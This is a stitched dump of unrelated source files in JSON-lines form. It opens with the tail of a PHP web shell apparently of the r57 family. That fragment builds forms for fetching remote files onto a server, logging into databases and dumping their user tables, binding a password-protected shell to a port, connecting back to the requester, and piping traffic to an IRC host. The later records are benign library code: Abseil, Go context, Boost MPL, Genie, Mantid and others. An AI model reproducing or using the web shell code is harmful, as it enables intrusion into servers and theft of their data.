value=\\\"GET\\\">GET</option></select>\".in('hidden','dir',0,$dir).ws(2).\"<b>\".$lang[$language.'_text17'].$arrow.\"</b>\".in('text','rem_file',78,'http://'));\necho sr(15,\"<b>\".$lang[$language.'_text18'].$arrow.\"</b>\",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));\necho $te.$table_end1.$fe;\n}\nif($mysql_on||$mssql_on||$pg_on||$ora_on)\n{\necho $table_up1.$lang[$language.'_text82'].$table_up2.$ts.\"<tr>\".$fs.\"<td valign=top width=34%>\".$ts;\necho \"<font face=Verdana size=-2><b><div align=center>\".$lang[$language.'_text77'].\"</div></b></font>\";\necho sr(45,\"<b>\".$lang[$language.'_text80'].$arrow.\"</b>\",\"<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option></select>\");\necho sr(45,\"<b>\".$lang[$language.'_text14'].$arrow.\"</b>\",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):(\"3306\"))));\necho sr(45,\"<b>\".$lang[$language.'_text37'].$arrow.\"</b>\",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):(\"root\"))));\necho sr(45,\"<b>\".$lang[$language.'_text38'].$arrow.\"</b>\",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):(\"password\"))));\necho sr(45,\"<b>\".$lang[$language.'_text78'].$arrow.\"</b>\",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1'));\necho sr(45,\"<b>\".$lang[$language.'_text79'].$arrow.\"</b>\",in('checkbox','sc id=sc',0,'1'));\necho sr(45,\"\",in('submit','submit',0,$lang[$language.'_butt7']));\necho $te.\"</td>\".$fe.$fs.\"<td valign=top width=33%>\".$ts;\necho \"<font face=Verdana size=-2><b><div align=center>\".$lang[$language.'_text40'].\"</div></b></font>\";\necho sr(45,\"<b>\".$lang[$language.'_text80'].$arrow.\"</b>\",\"<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option></select>\");\necho sr(45,\"<b>\".$lang[$language.'_text14'].$arrow.\"</b>\",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):(\"3306\"))));\necho sr(45,\"<b>\".$lang[$language.'_text37'].$arrow.\"</b>\",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):(\"root\"))));\necho sr(45,\"<b>\".$lang[$language.'_text38'].$arrow.\"</b>\",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):(\"password\"))));\necho sr(45,\"<b>\".$lang[$language.'_text36'].$arrow.\"</b>\",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):(\"mysql\"))));\necho sr(45,\"<b>\".$lang[$language.'_text39'].$arrow.\"</b>\",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):(\"user\"))));\necho sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump').\"<b>\".$lang[$language.'_text41'].$arrow.\"</b>\",in('checkbox','dif id=dif',0,'1'));\necho sr(45,\"<b>\".$lang[$language.'_text59'].$arrow.\"</b>\",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):(\"dump.sql\"))));\necho sr(45,\"\",in('submit','submit',0,$lang[$language.'_butt9']));\necho $te.\"</td>\".$fe.$fs.\"<td valign=top width=33%>\".$ts;\necho \"<font face=Verdana size=-2><b><div align=center>\".$lang[$language.'_text83'].\"</div></b></font>\";\necho sr(45,\"<b>\".$lang[$language.'_text80'].$arrow.\"</b>\",\"<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option><option>Oracle</option></select>\");\necho sr(45,\"<b>\".$lang[$language.'_text14'].$arrow.\"</b>\",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):(\"3306\"))));\necho sr(45,\"<b>\".$lang[$language.'_text37'].$arrow.\"</b>\",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):(\"root\"))));\necho sr(45,\"<b>\".$lang[$language.'_text38'].$arrow.\"</b>\",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):(\"password\"))));\necho sr(45,\"<b>\".$lang[$language.'_text36'].$arrow.\"</b>\",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):(\"mysql\"))));\necho sr(45,\"<b>\".$lang[$language.'_text84'].$arrow.\"</b>\".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),\"\");\necho $te.\"<div align=center><textarea cols=35 name=db_query>\".(!empty($_POST['db_query'])?($_POST['db_query']):(\"SHOW DATABASES;\\nSELECT * FROM user;\")).\"</textarea><br>\".in('submit','submit',0,$lang[$language.'_butt1']).\"</div></td>\".$fe.\"</tr></table>\";\n}\nif(!$safe_mode&&!$windows){\necho $table_up1.$lang[$language.'_text81'].$table_up2.$ts.\"<tr>\".$fs.\"<td valign=top width=34%>\".$ts;\necho \"<font face=Verdana size=-2><b><div align=center>\".$lang[$language.'_text9'].\"</div></b></font>\";\necho sr(40,\"<b>\".$lang[$language.'_text10'].$arrow.\"</b>\",in('text','port',15,'11457'));\necho sr(40,\"<b>\".$lang[$language.'_text11'].$arrow.\"</b>\",in('text','bind_pass',15,'r57'));\necho sr(40,\"<b>\".$lang[$language.'_text20'].$arrow.\"</b>\",\"<select size=\\\"1\\\" name=\\\"use\\\"><option value=\\\"Perl\\\">Perl</option><option value=\\\"C\\\">C</option></select>\".in('hidden','dir',0,$dir));\necho sr(40,\"\",in('submit','submit',0,$lang[$language.'_butt3']));\necho $te.\"</td>\".$fe.$fs.\"<td valign=top width=33%>\".$ts;\necho \"<font face=Verdana size=-2><b><div align=center>\".$lang[$language.'_text12'].\"</div></b></font>\";\necho sr(40,\"<b>\".$lang[$language.'_text13'].$arrow.\"</b>\",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : (\"127.0.0.1\"))));\necho sr(40,\"<b>\".$lang[$language.'_text14'].$arrow.\"</b>\",in('text','port',15,'11457'));\necho sr(40,\"<b>\".$lang[$language.'_text20'].$arrow.\"</b>\",\"<select size=\\\"1\\\" name=\\\"use\\\"><option value=\\\"Perl\\\">Perl</option><option value=\\\"C\\\">C</option></select>\".in('hidden','dir',0,$dir));\necho sr(40,\"\",in('submit','submit',0,$lang[$language.'_butt4']));\necho $te.\"</td>\".$fe.$fs.\"<td valign=top width=33%>\".$ts;\necho \"<font face=Verdana size=-2><b><div align=center>\".$lang[$language.'_text22'].\"</div></b></font>\";\necho sr(40,\"<b>\".$lang[$language.'_text23'].$arrow.\"</b>\",in('text','local_port',15,'11457'));\necho sr(40,\"<b>\".$lang[$language.'_text24'].$arrow.\"</b>\",in('text','remote_host',15,'irc.dalnet.ru'));\necho sr(40,\"<b>\".$lang[$language.'_text25'].$arrow.\"</b>\",in('text','remote_port',15,'6667'));\necho sr(40,\"<b>\".$lang[$language.'_text26'].$arrow.\"</b>\",\"<select size=\\\"1\\\" name=\\\"use\\\"><option value=\\\"Perl\\\">datapipe.pl</option><option value=\\\"C\\\">datapipe.c</option></select>\".in('hidden','dir',0,$dir));\necho sr(40,\"\",in('submit','submit',0,$lang[$language.'_butt5']));\necho $te.\"</td>\".$fe.\"</tr></table>\";\n}\n?>"} {"text": "/*\n* Viry3D\n* Copyright 2014-2019 by Stack - stackos@qq.com\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http://www.apache.org/licenses/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*/\n\n#pragma once\n\n#include \"LuaAPI.h\"\n#include \"time/Time.h\"\n\nnamespace Viry3D\n{\n class LuaTime\n {\n public:\n static void Set(lua_State* L)\n {\n LuaAPI::SetFunction(L, \"Time\", \"GetFrameCount\", GetFrameCount);\n LuaAPI::SetFunction(L, \"Time\", \"GetTime\", GetTime);\n LuaAPI::SetFunction(L, \"Time\", \"GetRealTimeSinceStartup\", GetRealTimeSinceStartup);\n LuaAPI::SetFunction(L, \"Time\", \"GetDeltaTime\", GetDeltaTime);\n LuaAPI::SetFunction(L, \"Time\", \"GetFPS\", GetFPS);\n }\n\n private:\n static int GetFrameCount(lua_State* L)\n {\n lua_pushinteger(L, Time::GetFrameCount());\n return 1;\n }\n\n static int GetTime(lua_State* L)\n {\n lua_pushnumber(L, Time::GetTime());\n return 1;\n }\n\n static int GetRealTimeSinceStartup(lua_State* L)\n {\n lua_pushnumber(L, Time::GetRealTimeSinceStartup());\n return 1;\n }\n\n static int GetDeltaTime(lua_State* L)\n {\n lua_pushnumber(L, Time::GetDeltaTime());\n return 1;\n }\n\n static int GetFPS(lua_State* L)\n {\n lua_pushinteger(L, Time::GetFPS());\n return 1;\n }\n };\n}\n"} {"text": "[Unit]\nDescription=Seafile command line client\nRequires=network-online.target\nAfter=network-online.target\n\n[Service]\nUser=%I\nType=oneshot\nExecStart=/usr/bin/seaf-cli start\nExecStop=/usr/bin/seaf-cli stop\nRemainAfterExit=yes\n\n[Install]\nWantedBy=multi-user.target\n"} {"text": "// Copyright 2017 The Abseil Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\n// -----------------------------------------------------------------------------\n// File: algorithm.h\n// -----------------------------------------------------------------------------\n//\n// This header file contains Google extensions to the standard <algorithm> C++\n// header.\n\n#ifndef S2_THIRD_PARTY_ABSL_ALGORITHM_ALGORITHM_H_\n#define S2_THIRD_PARTY_ABSL_ALGORITHM_ALGORITHM_H_\n\n#include <algorithm>\n#include <iterator>\n#include <type_traits>\n\nnamespace absl {\n\nnamespace algorithm_internal {\n\n// Performs comparisons with operator==, similar to C++14's `std::equal_to<>`.\nstruct EqualTo {\n template <typename T, typename U>\n bool operator()(const T& a, const U& b) const {\n return a == b;\n }\n};\n\ntemplate <typename InputIter1, typename InputIter2, typename Pred>\nbool EqualImpl(InputIter1 first1, InputIter1 last1, InputIter2 first2,\n InputIter2 last2, Pred pred, std::input_iterator_tag,\n std::input_iterator_tag) {\n while (true) {\n if (first1 == last1) return first2 == last2;\n if (first2 == last2) return false;\n if (!pred(*first1, *first2)) return false;\n ++first1;\n ++first2;\n }\n}\n\ntemplate <typename InputIter1, typename InputIter2, typename Pred>\nbool EqualImpl(InputIter1 first1, InputIter1 last1, InputIter2 first2,\n InputIter2 last2, Pred&& pred, std::random_access_iterator_tag,\n std::random_access_iterator_tag) {\n return (last1 - first1 == last2 - first2) &&\n std::equal(first1, last1, first2, std::forward<Pred>(pred));\n}\n\n// When we are using our own internal predicate that just applies operator==, we\n// forward to the non-predicate form of std::equal. This enables an optimization\n// in libstdc++ that can result in std::memcmp being used for integer types.\ntemplate <typename InputIter1, typename InputIter2>\nbool EqualImpl(InputIter1 first1, InputIter1 last1, InputIter2 first2,\n InputIter2 last2, algorithm_internal::EqualTo /* unused */,\n std::random_access_iterator_tag,\n std::random_access_iterator_tag) {\n return (last1 - first1 == last2 - first2) &&\n std::equal(first1, last1, first2);\n}\n\ntemplate <typename It>\nIt RotateImpl(It first, It middle, It last, std::true_type) {\n return std::rotate(first, middle, last);\n}\n\ntemplate <typename It>\nIt RotateImpl(It first, It middle, It last, std::false_type) {\n std::rotate(first, middle, last);\n return std::next(first, std::distance(middle, last));\n}\n\n} // namespace algorithm_internal\n\n// Compares the equality of two ranges specified by pairs of iterators, using\n// the given predicate, returning true iff for each corresponding iterator i1\n// and i2 in the first and second range respectively, pred(*i1, *i2) == true\n//\n// This comparison takes at most min(`last1` - `first1`, `last2` - `first2`)\n// invocations of the predicate. Additionally, if InputIter1 and InputIter2 are\n// both random-access iterators, and `last1` - `first1` != `last2` - `first2`,\n// then the predicate is never invoked and the function returns false.\n//\n// This is a C++11-compatible implementation of C++14 `std::equal`. See\n// http://en.cppreference.com/w/cpp/algorithm/equal for more information.\ntemplate <typename InputIter1, typename InputIter2, typename Pred>\nbool equal(InputIter1 first1, InputIter1 last1, InputIter2 first2,\n InputIter2 last2, Pred&& pred) {\n return algorithm_internal::EqualImpl(\n first1, last1, first2, last2, std::forward<Pred>(pred),\n typename std::iterator_traits<InputIter1>::iterator_category{},\n typename std::iterator_traits<InputIter2>::iterator_category{});\n}\n\n// Performs comparison of two ranges specified by pairs of iterators using\n// operator==.\ntemplate <typename InputIter1, typename InputIter2>\nbool equal(InputIter1 first1, InputIter1 last1, InputIter2 first2,\n InputIter2 last2) {\n return absl::equal(first1, last1, first2, last2,\n algorithm_internal::EqualTo{});\n}\n\n// Performs a linear search for `value` using the iterator `first` up to\n// but not including `last`, returning true if [`first`, `last`) contains an\n// element equal to `value`.\n//\n// A linear search is of O(n) complexity which is guaranteed to make at most\n// n = (`last` - `first`) comparisons. A linear search over short containers\n// may be faster than a binary search, even when the container is sorted.\ntemplate <typename InputIterator, typename EqualityComparable>\nbool linear_search(InputIterator first, InputIterator last,\n const EqualityComparable& value) {\n return std::find(first, last, value) != last;\n}\n\n// Performs a left rotation on a range of elements (`first`, `last`) such that\n// `middle` is now the first element. `rotate()` returns an iterator pointing to\n// the first element before rotation. This function is exactly the same as\n// `std::rotate`, but fixes a bug in gcc\n// <= 4.9 where `std::rotate` returns `void` instead of an iterator.\n//\n// The complexity of this algorithm is the same as that of `std::rotate`, but if\n// `ForwardIterator` is not a random-access iterator, then `absl::rotate`\n// performs an additional pass over the range to construct the return value.\n\ntemplate <typename ForwardIterator>\nForwardIterator rotate(ForwardIterator first, ForwardIterator middle,\n ForwardIterator last) {\n return algorithm_internal::RotateImpl(\n first, middle, last,\n std::is_same<decltype(std::rotate(first, middle, last)),\n ForwardIterator>());\n}\n\n} // namespace absl\n\n#endif // S2_THIRD_PARTY_ABSL_ALGORITHM_ALGORITHM_H_\n"} {"text": "module Idv\n module Steps\n module Cac\n class ChooseMethodStep < DocAuthBaseStep\n def call; end\n end\n end\n end\nend\n"} {"text": "# Acknowledgements\nThis application makes use of the following third party libraries:\n\n## ViewDeck\n\nCopyright (C) 2011-2016, ViewDeck\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nGenerated by CocoaPods - https://cocoapods.org\n"} {"text": "\n//---------------------------------------------------------------------------\n\n// This software is Copyright (c) 2012 Embarcadero Technologies, Inc. \n// You may only use this software if you are an authorized licensee\n// of Delphi, C++Builder or RAD Studio (Embarcadero Products).\n// This software is considered a Redistributable as defined under\n// the software license agreement that comes with the Embarcadero Products\n// and is subject to that software license agreement.\n\n//---------------------------------------------------------------------------\nprogram FlagsProj;\n\nuses\n FMX.Forms,\n FlagUnit in 'FlagUnit.pas' {Form1};\n\n{$R *.res}\n\nbegin\n Application.Initialize;\n Application.CreateForm(TForm1, Form1);\n Application.Run;\nend.\n"} {"text": "// Copyright 2014 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// +build !go1.9\n\npackage context\n\nimport \"time\"\n\n// A Context carries a deadline, a cancelation signal, and other values across\n// API boundaries.\n//\n// Context's methods may be called by multiple goroutines simultaneously.\ntype Context interface {\n\t// Deadline returns the time when work done on behalf of this context\n\t// should be canceled. Deadline returns ok==false when no deadline is\n\t// set. Successive calls to Deadline return the same results.\n\tDeadline() (deadline time.Time, ok bool)\n\n\t// Done returns a channel that's closed when work done on behalf of this\n\t// context should be canceled. Done may return nil if this context can\n\t// never be canceled. Successive calls to Done return the same value.\n\t//\n\t// WithCancel arranges for Done to be closed when cancel is called;\n\t// WithDeadline arranges for Done to be closed when the deadline\n\t// expires; WithTimeout arranges for Done to be closed when the timeout\n\t// elapses.\n\t//\n\t// Done is provided for use in select statements:\n\t//\n\t// // Stream generates values with DoSomething and sends them to out\n\t// // until DoSomething returns an error or ctx.Done is closed.\n\t// func Stream(ctx context.Context, out chan<- Value) error {\n\t// \tfor {\n\t// \t\tv, err := DoSomething(ctx)\n\t// \t\tif err != nil {\n\t// \t\t\treturn err\n\t// \t\t}\n\t// \t\tselect {\n\t// \t\tcase <-ctx.Done():\n\t// \t\t\treturn ctx.Err()\n\t// \t\tcase out <- v:\n\t// \t\t}\n\t// \t}\n\t// }\n\t//\n\t// See http://blog.golang.org/pipelines for more examples of how to use\n\t// a Done channel for cancelation.\n\tDone() <-chan struct{}\n\n\t// Err returns a non-nil error value after Done is closed. Err returns\n\t// Canceled if the context was canceled or DeadlineExceeded if the\n\t// context's deadline passed. No other values for Err are defined.\n\t// After Done is closed, successive calls to Err return the same value.\n\tErr() error\n\n\t// Value returns the value associated with this context for key, or nil\n\t// if no value is associated with key. Successive calls to Value with\n\t// the same key returns the same result.\n\t//\n\t// Use context values only for request-scoped data that transits\n\t// processes and API boundaries, not for passing optional parameters to\n\t// functions.\n\t//\n\t// A key identifies a specific value in a Context. Functions that wish\n\t// to store values in Context typically allocate a key in a global\n\t// variable then use that key as the argument to context.WithValue and\n\t// Context.Value. A key can be any type that supports equality;\n\t// packages should define keys as an unexported type to avoid\n\t// collisions.\n\t//\n\t// Packages that define a Context key should provide type-safe accessors\n\t// for the values stores using that key:\n\t//\n\t// \t// Package user defines a User type that's stored in Contexts.\n\t// \tpackage user\n\t//\n\t// \timport \"golang.org/x/net/context\"\n\t//\n\t// \t// User is the type of value stored in the Contexts.\n\t// \ttype User struct {...}\n\t//\n\t// \t// key is an unexported type for keys defined in this package.\n\t// \t// This prevents collisions with keys defined in other packages.\n\t// \ttype key int\n\t//\n\t// \t// userKey is the key for user.User values in Contexts. It is\n\t// \t// unexported; clients use user.NewContext and user.FromContext\n\t// \t// instead of using this key directly.\n\t// \tvar userKey key = 0\n\t//\n\t// \t// NewContext returns a new Context that carries value u.\n\t// \tfunc NewContext(ctx context.Context, u *User) context.Context {\n\t// \t\treturn context.WithValue(ctx, userKey, u)\n\t// \t}\n\t//\n\t// \t// FromContext returns the User value stored in ctx, if any.\n\t// \tfunc FromContext(ctx context.Context) (*User, bool) {\n\t// \t\tu, ok := ctx.Value(userKey).(*User)\n\t// \t\treturn u, ok\n\t// \t}\n\tValue(key interface{}) interface{}\n}\n\n// A CancelFunc tells an operation to abandon its work.\n// A CancelFunc does not wait for the work to stop.\n// After the first call, subsequent calls to a CancelFunc do nothing.\ntype CancelFunc func()\n"} {"text": "\n// Copyright Aleksey Gurtovoy 2000-2004\n//\n// Distributed under the Boost Software License, Version 1.0. \n// (See accompanying file LICENSE_1_0.txt or copy at \n// http://www.boost.org/LICENSE_1_0.txt)\n//\n\n// Preprocessed version of \"boost/mpl/aux_/fold_impl.hpp\" header\n// -- DO NOT modify by hand!\n\nnamespace boost { namespace mpl { namespace aux {\n\n/// forward declaration\n\ntemplate<\n int N\n , typename First\n , typename Last\n , typename State\n , typename ForwardOp\n >\nstruct fold_impl;\n\ntemplate<\n typename First\n , typename Last\n , typename State\n , typename ForwardOp\n >\nstruct fold_impl< 0,First,Last,State,ForwardOp >\n{\n typedef First iter0;\n typedef State state0;\n typedef state0 state;\n typedef iter0 iterator;\n};\n\ntemplate<\n typename First\n , typename Last\n , typename State\n , typename ForwardOp\n >\nstruct fold_impl< 1,First,Last,State,ForwardOp >\n{\n typedef First iter0;\n typedef State state0;\n typedef typename apply2< ForwardOp, state0, typename deref<iter0>::type >::type state1;\n typedef typename mpl::next<iter0>::type iter1;\n \n\n typedef state1 state;\n typedef iter1 iterator;\n};\n\ntemplate<\n typename First\n , typename Last\n , typename State\n , typename ForwardOp\n >\nstruct fold_impl< 2,First,Last,State,ForwardOp >\n{\n typedef First iter0;\n typedef State state0;\n typedef typename apply2< ForwardOp, state0, typename deref<iter0>::type >::type state1;\n typedef typename mpl::next<iter0>::type iter1;\n typedef typename apply2< ForwardOp, state1, typename deref<iter1>::type >::type state2;\n typedef typename mpl::next<iter1>::type iter2;\n \n\n typedef state2 state;\n typedef iter2 iterator;\n};\n\ntemplate<\n typename First\n , typename Last\n , typename State\n , typename ForwardOp\n >\nstruct fold_impl< 3,First,Last,State,ForwardOp >\n{\n typedef First iter0;\n typedef State state0;\n typedef typename apply2< ForwardOp, state0, typename deref<iter0>::type >::type state1;\n typedef typename mpl::next<iter0>::type iter1;\n typedef typename apply2< ForwardOp, state1, typename deref<iter1>::type >::type state2;\n typedef typename mpl::next<iter1>::type iter2;\n typedef typename apply2< ForwardOp, state2, typename deref<iter2>::type >::type state3;\n typedef typename mpl::next<iter2>::type iter3;\n \n\n typedef state3 state;\n typedef iter3 iterator;\n};\n\ntemplate<\n typename First\n , typename Last\n , typename State\n , typename ForwardOp\n >\nstruct fold_impl< 4,First,Last,State,ForwardOp >\n{\n typedef First iter0;\n typedef State state0;\n typedef typename apply2< ForwardOp, state0, typename deref<iter0>::type >::type state1;\n typedef typename mpl::next<iter0>::type iter1;\n typedef typename apply2< ForwardOp, state1, typename deref<iter1>::type >::type state2;\n typedef typename mpl::next<iter1>::type iter2;\n typedef typename apply2< ForwardOp, state2, typename deref<iter2>::type >::type state3;\n typedef typename mpl::next<iter2>::type iter3;\n typedef typename apply2< ForwardOp, state3, typename deref<iter3>::type >::type state4;\n typedef typename mpl::next<iter3>::type iter4;\n \n\n typedef state4 state;\n typedef iter4 iterator;\n};\n\ntemplate<\n int N\n , typename First\n , typename Last\n , typename State\n , typename ForwardOp\n >\nstruct fold_impl\n{\n typedef fold_impl<\n 4\n , First\n , Last\n , State\n , ForwardOp\n > chunk_;\n\n typedef fold_impl<\n ( (N - 4) < 0 ? 0 : N - 4 )\n , typename chunk_::iterator\n , Last\n , typename chunk_::state\n , ForwardOp\n > res_;\n\n typedef typename res_::state state;\n typedef typename res_::iterator iterator;\n};\n\ntemplate<\n typename First\n , typename Last\n , typename State\n , typename ForwardOp\n >\nstruct fold_impl< -1,First,Last,State,ForwardOp >\n : fold_impl<\n -1\n , typename mpl::next<First>::type\n , Last\n , typename apply2<ForwardOp,State, typename deref<First>::type>::type\n , ForwardOp\n >\n{\n};\n\ntemplate<\n typename Last\n , typename State\n , typename ForwardOp\n >\nstruct fold_impl< -1,Last,Last,State,ForwardOp >\n{\n typedef State state;\n typedef Last iterator;\n};\n\n}}}\n"} {"text": "/*\n *\n * Copyright 2019 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\npackage com.netflix.genie.web.agent.inspectors.impl;\n\nimport com.netflix.genie.common.external.dtos.v4.AgentClientMetadata;\nimport com.netflix.genie.web.agent.inspectors.AgentMetadataInspector;\nimport com.netflix.genie.web.agent.inspectors.InspectionReport;\nimport com.netflix.genie.web.properties.AgentFilterProperties;\n\nimport javax.validation.Valid;\n\n/**\n * An {@link AgentMetadataInspector} that accepts agent whose version matches a regular expression\n * (obtained via properties) and rejects everything else.\n *\n * @author mprimi\n * @since 4.0.0\n */\npublic class WhitelistedVersionAgentMetadataInspector extends BaseRegexAgentMetadataInspector {\n\n private final AgentFilterProperties agentFilterProperties;\n\n /**\n * Constructor.\n *\n * @param agentFilterProperties version filter properties\n */\n public WhitelistedVersionAgentMetadataInspector(final AgentFilterProperties agentFilterProperties) {\n super(InspectionReport.Decision.ACCEPT);\n this.agentFilterProperties = agentFilterProperties;\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public InspectionReport inspect(@Valid final AgentClientMetadata agentClientMetadata) {\n return super.inspectWithPattern(\n agentFilterProperties.getWhitelistedVersions(),\n agentClientMetadata.getVersion().orElse(null)\n );\n }\n}\n"} {"text": "map\t2d\tplastic_black.tga\naddr\trepeat repeat"} {"text": "scala_library(\n sources = [\"**/*.scala\"],\n compiler_option_sets = [\"fatal_warnings\"],\n provides = scala_artifact(\n org = \"com.twitter\",\n name = \"finagle-http2\",\n repo = artifactory,\n ),\n dependencies = [\n \"3rdparty/jvm/io/netty:netty4\",\n \"3rdparty/jvm/io/netty:netty4-codec\",\n \"3rdparty/jvm/io/netty:netty4-codec-http\",\n \"3rdparty/jvm/io/netty:netty4-codec-http2\",\n \"3rdparty/jvm/io/netty:netty4-handler-proxy\",\n scoped(\n \"3rdparty/jvm/io/netty:netty4-tcnative-boringssl-static\",\n scope = \"runtime\",\n ),\n \"finagle/finagle-base-http\",\n \"finagle/finagle-core\",\n \"finagle/finagle-netty4\",\n \"finagle/finagle-netty4-http\",\n \"util/util-core\",\n \"util/util-logging\",\n \"util/util-stats\",\n ],\n)\n"} {"text": "// Mantid Repository : https://github.com/mantidproject/mantid\n//\n// Copyright &copy; 2018 ISIS Rutherford Appleton Laboratory UKRI,\n// NScD Oak Ridge National Laboratory, European Spallation Source,\n// Institut Laue - Langevin & CSNS, Institute of High Energy Physics, CAS\n// SPDX - License - Identifier: GPL - 3.0 +\n#include \"MantidKernel/MaterialBuilder.h\"\n#include \"MantidKernel/Atom.h\"\n#include \"MantidKernel/EmptyValues.h\"\n#include \"MantidKernel/NeutronAtom.h\"\n\n#include <memory>\n#include <numeric>\n\nnamespace Mantid {\nusing PhysicalConstants::Atom;\nusing PhysicalConstants::getAtom;\nusing PhysicalConstants::NeutronAtom;\nnamespace Kernel {\n\nnamespace {\ninline bool isEmpty(const boost::optional<double> &value) {\n return !value || value == Mantid::EMPTY_DBL();\n}\n} // namespace\n\n/**\n * Constructor\n */\nMaterialBuilder::MaterialBuilder()\n : m_name(), m_formula(), m_atomicNo(), m_massNo(0), m_numberDensity(),\n m_zParam(), m_cellVol(), m_massDensity(), m_totalXSection(),\n m_cohXSection(), m_incXSection(), m_absSection(),\n m_numberDensityUnit(NumberDensityUnit::Atoms) {}\n\n/**\n * Set the string name given to the material\n * @param name Human-readable name of the material. Empty string not allowed\n * @return A reference to the this object to allow chaining\n */\nMaterialBuilder &MaterialBuilder::setName(const std::string &name) {\n if (name.empty()) {\n throw std::invalid_argument(\n \"MaterialBuilder::setName() - Empty name not allowed.\");\n }\n m_name = name;\n return *this;\n}\n\n/**\n * Set the chemical formula of the material\n * @param formula Human-readable name of the material\n * @return A reference to the this object to allow chaining\n */\nMaterialBuilder &MaterialBuilder::setFormula(const std::string &formula) {\n if (m_name.empty()) {\n m_name = formula;\n }\n\n if (m_atomicNo) {\n throw std::runtime_error(\"MaterialBuilder::setFormula() - Atomic no. \"\n \"already set, cannot use formula aswell.\");\n }\n if (formula.empty()) {\n throw std::invalid_argument(\n \"MaterialBuilder::setFormula() - Empty formula provided.\");\n }\n using ChemicalFormula = Material::ChemicalFormula;\n try {\n m_formula = ChemicalFormula(\n ChemicalFormula(Material::parseChemicalFormula(formula)));\n } catch (std::runtime_error &exc) {\n throw std::invalid_argument(\n \"MaterialBuilder::setFormula() - Unable to parse chemical formula: \" +\n std::string(exc.what()));\n }\n return *this;\n}\n\n/**\n * Set the type of atom by its atomic number\n * @param atomicNumber Z-number of the atom\n * @return A reference to the this object to allow chaining\n */\nMaterialBuilder &MaterialBuilder::setAtomicNumber(int atomicNumber) {\n if (!m_formula.empty()) {\n throw std::runtime_error(\"MaterialBuilder::setAtomicNumber() - Formula \"\n \"already set, cannot use atomic number aswell.\");\n }\n m_atomicNo = atomicNumber;\n return *this;\n}\n\n/**\n * Set the isotope by mass number\n * @param massNumber Isotope number of the atom\n * @return A reference to the this object to allow chaining\n */\nMaterialBuilder &MaterialBuilder::setMassNumber(int massNumber) {\n m_massNo = massNumber;\n return *this;\n}\n\n/**\n * Set the number density of the sample in atoms or formula units / Angstrom^3\n * @param rho density of the sample in atoms or formula units / Angstrom^3\n * @return A reference to the this object to allow chaining\n */\nMaterialBuilder &MaterialBuilder::setNumberDensity(double rho) {\n m_numberDensity = rho;\n return *this;\n}\n\n/**\n * Set the unit for number density\n * @param unit atoms or formula units / Anstrom^3\n * @return A reference to this object to allow chaining\n */\nMaterialBuilder &MaterialBuilder::setNumberDensityUnit(NumberDensityUnit unit) {\n m_numberDensityUnit = unit;\n return *this;\n}\n\n/**\n * Set the number of formula units in the unit cell\n * @param zparam Number of formula units\n * @return A reference to the 